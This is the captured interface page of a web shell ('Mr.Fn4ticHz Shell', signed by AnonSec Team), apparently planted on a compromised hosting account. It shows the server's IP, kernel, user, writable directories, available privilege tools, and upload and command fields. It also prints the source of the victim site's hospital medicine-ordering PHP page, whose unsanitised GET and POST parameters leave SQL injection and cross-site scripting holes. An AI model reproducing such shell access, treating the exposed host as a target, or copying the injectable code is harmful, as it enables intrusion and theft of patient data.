Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.144.100.237
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/medicineingive.php
<?php
session_start();
include("dbconnection.php");
include("dashboarddocument.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
if(isset($_POST[ordermedicine]))
{
		PatientManager::Medicineorder("$_GET[prescriptionid]","$_GET[patientid]","$_POST[DRUGS]","$_POST[Dose]","$_POST[Frequency]","$_POST[days]","$_POST[entered_by]");
	 }
	 ?>
	
 	<?php
include("dbconnection.php");
include("header.php");
$sql1 ="SELECT * FROM medicinede WHERE  id='$_GET[id]' ";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{
echo " <form name='ordermedicine' method='post'><div class='content-wrapper'>
            <label> Name Of Medicine</label>
				<input type='text' value='$rs1[DRUGS]' placeholder='Name' name='DRUGS' id='drug' class='form-control' readonly>
			
				<label>Dose</label>
				
				<input type='text' value='$rs1[Dose]' name='Dose' id='dose' class='form-control' readonly>
		
				<label>	Frequency</label>
				<select  name='Frequency'>
    <option value='$rs1[Frequency]'>$rs1[Frequency]  </option>
   
	</select>
	
          
          ";

             switch ($rs1[Frequency]) {
  case 'OD (Once Daily)':
    echo  "<input type='number' value='1 *$rs1[days]'>";
    break;
    case 'DP_General_ward':
    echo ' <td>&nbsp;General ward Nursing Station</td>';
    break;
    case 'DP_Doctors_Notepad':
    echo ' <td>&nbsp;Doctors Notepad</td>';
    break;
     case 'DP_reception':
    echo ' <td>&nbsp;Reception</td>';
    break;
       case 'OPD_Front_desk':
    echo ' <td>&nbsp;OPD Front desk</td>';
    break;
       case 'DP_SEMI_Pvt_ward':
    echo ' <td>&nbsp;SEMI Pvt ward</td>';
    break;
    case 'DP_Pvt_Ward':
    echo ' <td>&nbsp;Pvt Ward Nursing station</td>';
    break;
     case 'DP_OT_complex':
    echo ' <td>&nbsp;OT complex Nursing station</td>';
    break;
      case 'DP_Pharmacy':
    echo ' <td>&nbsp;Pharmacy</td>';
    break;
       case 'DP_Laboratory':
    echo ' <td>&nbsp;Laboratory</td>';
    break;
        case 'DP_Diagnostic':
    echo ' <td>&nbsp;Diagnostic</td>';
    break;
        case 'DP_Accounts':
    echo ' <td>&nbsp;Accounts</td>';
    break;
     default:
    echo '';
}

}
?>

    <button type="submit" name='ordermedicine'> Submit</button>
   
      </form>

Anon7 - 2022
AnonSec Team